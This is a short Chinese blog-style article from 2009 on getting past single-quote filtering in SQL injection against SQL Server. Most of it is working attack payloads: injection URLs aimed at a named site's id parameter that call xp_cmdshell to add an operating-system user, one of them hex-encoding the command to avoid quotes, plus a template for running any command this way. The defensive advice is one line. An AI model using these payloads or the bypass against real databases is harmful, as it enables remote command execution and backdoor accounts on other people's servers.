sql单引号:SQL注入中绕过' (单引号)限制继续注入来源: 发布时间:星期六, 2009年9月12日 浏览:116次 评论:0
我想不少人都看过些有关SQL Injection针对SQL Server攻击文章都是变量过滤不足甚至没有过滤而构造畸形SQL语句注入包括我写那篇SQL Injection实现和应用也是这样例子没有碰到任何过滤所以使我们相当轻松就注入成功了如下: http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';-- 这往往给大家造成误解认为只要变量过滤了'就可以防止SQL Injection攻击这种意识为大量可以注入埋下祸根其实仅仅过滤'是不够在'被过滤情况下我们照样玩看下面语句: http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;-- 是不是跟上面那句有很大区别?可是效果完全是样其实这些都是SQL语句 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 这句是“net user angel pass /add”16进制格式了解SQL朋友就容易明白先声明个变量a然后把我们指令赋值给a然后变量a最终执行我们输入命令变量a可以是任何命令如下: declare @a sysname select @a= exec master.dbo.xp_cmdshell @a 解决办法: 过滤变量限制只允许输入特定比如对于数字类型变量就限制只能输入数字类型数据具体就不说了这完全是作者自由发挥了 0
相关文章读者评论发表评论 |